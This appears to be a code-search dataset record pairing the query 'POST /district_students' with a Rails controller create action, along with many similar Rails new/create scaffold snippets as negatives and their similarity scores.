"def new\n @student_qualification = StudentQualification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_qualification }\n end\n end",
"def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"def new\n # @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @institute = Institute.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @institute }\n end\n end",
"def new\n @ministry = Ministry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ministry }\n end\n end",
"def create\n @district = city.districts.build(params[:district])\n\n respond_to do |format|\n if @district.save\n format.html { redirect_to(admin_city_district_url(city, @district), :notice => 'District was successfully created.') }\n #format.xml { render :xml => @district, :status => :created, :location => @district }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @course_student_profile = CourseStudentProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course_student_profile }\n end\n end",
"def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @consultation = Consultation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consultation }\n end\n end",
"def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @county }\n end\n end",
"def new\n @station = Station.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @station }\n end\n end",
"def create\n @student_relationship = StudentRelationship.new(params[:student_relationship])\n\n respond_to do |format|\n if @student_relationship.save\n flash[:notice] = 'StudentRelationship was successfully created.'\n format.html { redirect_to(@student_relationship) }\n format.xml { render :xml => @student_relationship, :status => :created, :location => @student_relationship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_relationship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end",
"def new\n @staffclassification = Staffclassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @staffclassification }\n end\n end",
"def new\n @student = Student.new\n @student.qualifications.build\n @student.kins.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def create\n @student = @current_lop.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to lop_students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @distributor_country }\n end\n end",
"def new\n @direccion = Direccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @direccion }\n end\n end",
"def new\n @province = Province.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @province }\n end\n end",
"def new\n @nom = Nom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nom }\n end\n end",
"def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendance }\n end\n end"
] |
[
"0.73664993",
"0.7276843",
"0.7276843",
"0.7276843",
"0.7276843",
"0.7199165",
"0.7067413",
"0.706249",
"0.7016041",
"0.6978014",
"0.69764805",
"0.69131494",
"0.68865955",
"0.6858879",
"0.68431187",
"0.68430656",
"0.67973715",
"0.6785154",
"0.67848337",
"0.6778102",
"0.6770826",
"0.67648953",
"0.67511165",
"0.6743358",
"0.67245686",
"0.6720032",
"0.66976666",
"0.6671294",
"0.66400677",
"0.658913",
"0.6584972",
"0.6570578",
"0.65685874",
"0.65649164",
"0.6563796",
"0.6558499",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65579885",
"0.65537626",
"0.65537626",
"0.654085",
"0.6532239",
"0.6531935",
"0.65248513",
"0.6515109",
"0.6514489",
"0.6513715",
"0.6510503",
"0.6508401",
"0.65063524",
"0.6491511",
"0.6487804",
"0.6476485",
"0.64569426",
"0.64504105",
"0.6440806",
"0.6437611",
"0.6436403",
"0.6431167",
"0.642766",
"0.6417483",
"0.6412513",
"0.6402579",
"0.64024687",
"0.63981247",
"0.6395654",
"0.6395244",
"0.6395056",
"0.639498",
"0.6386139",
"0.6382802",
"0.63824",
"0.6377838",
"0.6369061",
"0.63587934",
"0.635748",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6340186",
"0.6332527",
"0.63259757",
"0.63224053",
"0.6322098",
"0.6321504",
"0.6319668"
] |
0.0
|
-1
|
POST /district_students POST /district_students.xml
|
def create
@student = current_district.students.build(params[:student])
respond_to do |format|
if @student.save
flash[:notice] = "#{edit_obj_link(@student)} was successfully created.".html_safe
format.html { redirect_to(index_url_with_page) }
else
format.html { render :action => "new" }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @district = District.new(params[:district])\n\n respond_to do |format|\n if @district.save\n flash[:notice] = 'District was successfully created.'\n format.html { redirect_to(@district) }\n format.xml { render :xml => @district, :status => :created, :location => @district }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(students_url) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:success] = t('student.created')\n format.html { redirect_to(students_path) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @dojo_student = DojoStudent.new(params[:dojo_student])\n\n respond_to do |format|\n if @dojo_student.save\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully created.' }\n format.json { render json: @dojo_student, status: :created, location: @dojo_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tp = params[:student]\n\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'],\n\t\t\t:gender => p['gender'] == 'Male' ? 'M' : 'F', :born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t:home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t:biographical_notes => p['biographical_notes'], :quotes => p['quotes'], :additional_notes => p['additional_notes'], :private_notes => p['private_notes'], :is_stub => 0\n\t\t}\n\n\t\t@student = Student.new(hash)\n\t\t@student.generate_unique_name()\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\tif !marriage['name'].blank?\n\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\tresidences.each {|residence|\n\t\t\t\t\tif !residence.blank?\n\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tBrowse.student_changed(@student, nil)\n\t\t\t\tsolr().add_object(@student.to_solr())\n\n\t\t\t\tformat.html { redirect_to(@student, :notice => 'The student was successfully created.') }\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tnew_setup()\n\t\t\t\t\trender :action => \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @college.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @district = city.districts.build(params[:district])\n\n respond_to do |format|\n if @district.save\n format.html { redirect_to(admin_city_district_url(city, @district), :notice => 'District was successfully created.') }\n #format.xml { render :xml => @district, :status => :created, :location => @district }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @group.students.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to group_students_path(@group), notice: \"Student couldn't be created\" }\n end\n end\n end",
"def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # binding.pry\n @student_id = StudentId.new(student_id_params)\n\n respond_to do |format|\n if @student_id.save\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to student_ids_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student_id }\n end\n else\n format.html { render :new }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.create(student_params)\n if @student.valid?\n flash[:success] = \"New student successfully added!\"\n redirect_to \"/dojos\"\n else\n flash[:error] = @student.errors.full_messages\n redirect_to action: \"new\", dojo_id: params[:dojo_id]\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(@student) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @schools_students = SchoolsStudent.new\n @schools_students.student_id = @student.id\n @schools_students.school_id = params[:school_id]\n @schools_students.save!\n\n @contract = Contract.new\n @contract.student_id = @student.id\n @contract.save!\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.create(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Registro Exitoso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.create(params[:inschool])\n\n respond_to do |format|\n if @inschool.save\n StudentMailer.mailer_inschool(@student, @inschool).deliver\n format.html { redirect_to :back, notice: 'Inschool was successfully created and an email sent was sent to the teacher.' }\n format.json { render json: @inschool, status: :created, location: @inschool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_student = GroupStudent.new(group_student_params)\n\n respond_to do |format|\n if @group_student.save\n format.html { redirect_to @group_student, notice: 'Group student was successfully created.' }\n format.json { render :show, status: :created, location: @group_student }\n else\n format.html { render :new }\n format.json { render json: @group_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @current_lop.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to lop_students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studnet = Studnet.new(studnet_params)\n\n respond_to do |format|\n if @studnet.save\n format.html { redirect_to @studnet, notice: 'Studnet was successfully created.' }\n format.json { render :show, status: :created, location: @studnet }\n else\n format.html { render :new }\n format.json { render json: @studnet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studen = Studen.new(studen_params)\n\n respond_to do |format|\n if @studen.save\n format.html { redirect_to @studen, notice: 'Studen was successfully created.' }\n format.json { render :show, status: :created, location: @studen }\n else\n format.html { render :new }\n format.json { render json: @studen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @user = User.find_by_id(params[:user])\n @student.user = @user\n @department = Department.find_by_id(params[:department])\n @student.department = @department\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studnet = Studnet.new(params[:studnet])\n\n respond_to do |format|\n if @studnet.save\n format.html { redirect_to @studnet, notice: 'Studnet was successfully created.' }\n format.json { render json: @studnet, status: :created, location: @studnet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @studnet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @district = District.new(district_params)\n\n respond_to do |format|\n if @district.save\n format.html { redirect_to @district, notice: 'District was successfully created.' }\n format.json { render :show, status: :created, location: @district }\n else\n format.html { render :new }\n format.json { render json: @district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @district = District.new(district_params)\n\n respond_to do |format|\n if @district.save\n format.html { redirect_to @district, notice: 'District was successfully created.' }\n format.json { render :show, status: :created, location: @district }\n else\n format.html { render :new }\n format.json { render json: @district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studant = Studant.new(studant_params)\n\n respond_to do |format|\n if @studant.save\n format.html { redirect_to studants_path, notice: 'Studant was successfully created.' }\n format.json { render :show, status: :created, location: @studant }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @studant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n @student.idSchool = current_user.teacher.idSchool \n\n respond_to do |format|\n if @student.save\n StdTeacher.create(idStd: @student.id, idTeacher: current_user.teacher.id, idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:studentid, :uid, :user_id, :firstyear, :dapartment_id)\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.count = 0\n @student.password = \"default\"\n if params[:student][:group_ids] \n params[:student][:group_ids].each { |group_id| \n @student.groups << Group.find(group_id)\n }\n end\n\n respond_to do |format|\n if @student.save\n @students = Student.all\n format.html { render action: \"index\", notice: \"Student was successfully created.\" }\n format.json { render :index, status: :created}\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n if @student.isAdmin\n @student.groups = []\n end\n end",
"def create\n @admin_student = Admin::Student.new(admin_student_params)\n\n respond_to do |format|\n if @admin_student.save\n format.html { redirect_to @admin_student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_correspondence = StudentCorrespondence.new(params[:student_correspondence])\n\n respond_to do |format|\n if @student_correspondence.save\n format.html { redirect_to(@student_correspondence, :notice => 'Student correspondence was successfully created.') }\n format.xml { render :xml => @student_correspondence, :status => :created, :location => @student_correspondence }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_correspondence.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '生徒情報が追加されました' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Alumno creado con éxito.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student,\n notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(admin_student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admins_district = Admins::District.new(admins_district_params)\n\n respond_to do |format|\n if @admins_district.save\n format.html { redirect_to @admins_district, notice: 'District was successfully created.' }\n format.json { render :show, status: :created, location: @admins_district }\n else\n format.html { render :new }\n format.json { render json: @admins_district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def studant_params\n params.require(:studant).permit(:name, :birthday, :school_class_id, responsible_ids: [])\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render json :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_relationship = StudentRelationship.new(params[:student_relationship])\n\n respond_to do |format|\n if @student_relationship.save\n flash[:notice] = 'StudentRelationship was successfully created.'\n format.html { redirect_to(@student_relationship) }\n format.xml { render :xml => @student_relationship, :status => :created, :location => @student_relationship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_relationship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:ducket_date, :ducket_number)\n end",
"def create\n @student_regedship = StudentRegedship.new(params[:student_regedship])\n\n respond_to do |format|\n if @student_regedship.save\n format.html { redirect_to(@student_regedship, :notice => 'Student regedship was successfully created.') }\n format.xml { render :xml => @student_regedship, :status => :created, :location => @student_regedship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_regedship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:name, :date_od_birth, :father_name, :admint_branch, :community, :contact_number, :address, :cut_off_marks, :markshett, :transfer_certificate, :ten_marksheet, :community_certificate, :aadhar_card, :income_certificate, :graduation_cerificate, :admin_user_id)\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render json: @student, status: :created\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def student_params\n params.require(:student).permit(:name, :surname, :group_id)\n end",
"def create\n @student = current_user.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_url, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n @student.save\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
